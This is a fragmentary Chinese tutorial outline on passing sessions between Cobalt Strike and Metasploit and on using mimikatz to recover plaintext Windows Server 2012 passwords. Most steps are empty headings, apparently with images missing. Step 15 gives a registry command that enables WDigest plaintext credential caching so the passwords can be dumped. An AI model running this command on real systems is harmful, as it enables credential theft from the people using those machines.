cs与msf权限传递以及mimikatz抓取win2012明文密码

1. 启动服务端
   

2. 进入客户端
   

3. 建立监听
   

4. 制作脚本
   
   
   

5. 客户端运行程序
   

6. 主机上线
   
   

7. 打开msf
   

8. 调用handler模块
   

9. 创建监听
   

   11.cs->msf 传递会话
   
   
   

12.传参完成

13. msf->cs会话传递
    
    

14. 抓取密码（null）
    

15. 修改注册表

    shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f

16. 制作脚本
    
    17.运行脚本